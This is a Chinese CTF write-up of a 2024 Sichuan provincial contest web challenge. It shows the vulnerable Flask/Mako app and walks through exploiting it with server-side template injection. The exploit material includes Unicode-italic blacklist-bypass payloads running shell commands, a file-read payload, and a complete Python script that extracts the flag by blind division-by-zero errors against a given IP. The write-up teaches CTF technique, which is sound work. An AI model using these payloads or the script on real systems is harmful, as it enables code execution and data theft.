【Web】2024 四川省赛 pythonnohyp wp - 指南
更多是写给学弟学妹看
目录
源码
app.py
from flask import Flask, render_template, request, redirect, url_for
from flask_mako import MakoTemplates, render_template as mako_render_template
from mako.template import Template as Mako_T
import os
app = Flask(__name__)
# 设置模板目录路径
template_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates')
app.template_folder = template_dir
mako = MakoTemplates(app)
# 其余代码保持不变...
welcome_string = """
My APP
Welcome %s !
%%if title:
This your admin page.
%%endif
This is your profile。
"""
welcome_message = "welcome"
black_list = ['${', 'import', 'os', 'system', 'popen', 'join', 'context', 'sys', '__', 'builtins', 'eval', 'exec', 'ord']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
username = request.form['username']
return redirect(url_for('welcome', username=username))
return mako_render_template('index.html')
@app.route('/welcome')
def welcome():
username = request.args.get('username')
if len(username) > 42:
return "error username"
for key in black_list:
if key.upper() in username.upper():
return "bad username"
if username == "Admin":
return Mako_T(welcome_string % username).render(title=True)
return Mako_T(welcome_string % username).render(title=False)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5002)
templates/index.html
Login Page
User Login
Note:
- Username must be less than 42 characters
- Certain keywords are restricted
- Try "Admin" for special access
思路
题目是给附件的,直接看源码
一眼丁真,做了些黑名单的mako ssti,还对输入长度限制为42

线下断网能找到先知社区知识库

也就是
https://xz.aliyun.com/news/11633
解法
解法一
关键词过滤直接用斜体绕(Z3知识库里有写,对照看就行
__ℴ__('o''s').ℯ('cat f*')
题目是无回显的
可以写文件
<%__ℴ__('o''s').ℯ('cat f* > static/1.txt')%>
然后访问static/1.txt读到结果

也可以打有回显的payload(见文章

注意这里只能用popen.read带出,system只会返回执行完的状态码0
<%str(__M_writer(str(__ℴ__('o''s').ℴℯ('cat f*').ℯ())))%>

但长度超了,没法打(上图是我魔改长度的版本

解法二
长度限制比较死,RCE几乎最短的payload都超长度了

可以试着读文件
有回显就出了
<%print(open('flag.txt').read())%>
无回显只能盲注
<%if open('flag.txt').read()[0]=='f':1/0%>
<%if open('flag.txt').read()[1]=='l':1/0%>
利用的是除0报500来盲注


让ai随便写了个粗糙的脚本爆出flag
import requests
import string
def blind_sql_injection():
base_url = "http://8.138.38.81:5002/welcome?username="
# 可能的字符集:大小写字母、数字、{}和-
charset = string.ascii_letters + string.digits + "{}_-"
flag = ""
position = 0
max_length = 50 # 假设flag最大长度为50
print("开始盲注攻击...") # 添加开始提示
while position < max_length:
found_char = False
for char in charset:
# 构造payload,检查指定位置的字符
payload = f"<%if open('flag.txt').read()[{position}]=='{char}':1/0%>"
url = base_url + payload
try:
response = requests.get(url, timeout=5)
# 如果返回500状态码,说明条件为真,字符匹配
if response.status_code == 500:
flag += char
position += 1
found_char = True
print(f"找到第{position}个字符: {char}, 当前flag: {flag}")
break
except requests.exceptions.RequestException as e:
print(f"请求错误: {e}")
continue
# 如果没有找到字符,可能已经到达flag末尾
if not found_char:
print(f"在第{position + 1}位置未找到匹配字符,可能flag已结束")
break
print(f"\n最终flag: {flag}")
return flag
# 添加这行代码来调用函数
if __name__ == "__main__":
blind_sql_injection()

浙公网安备 33010602011771号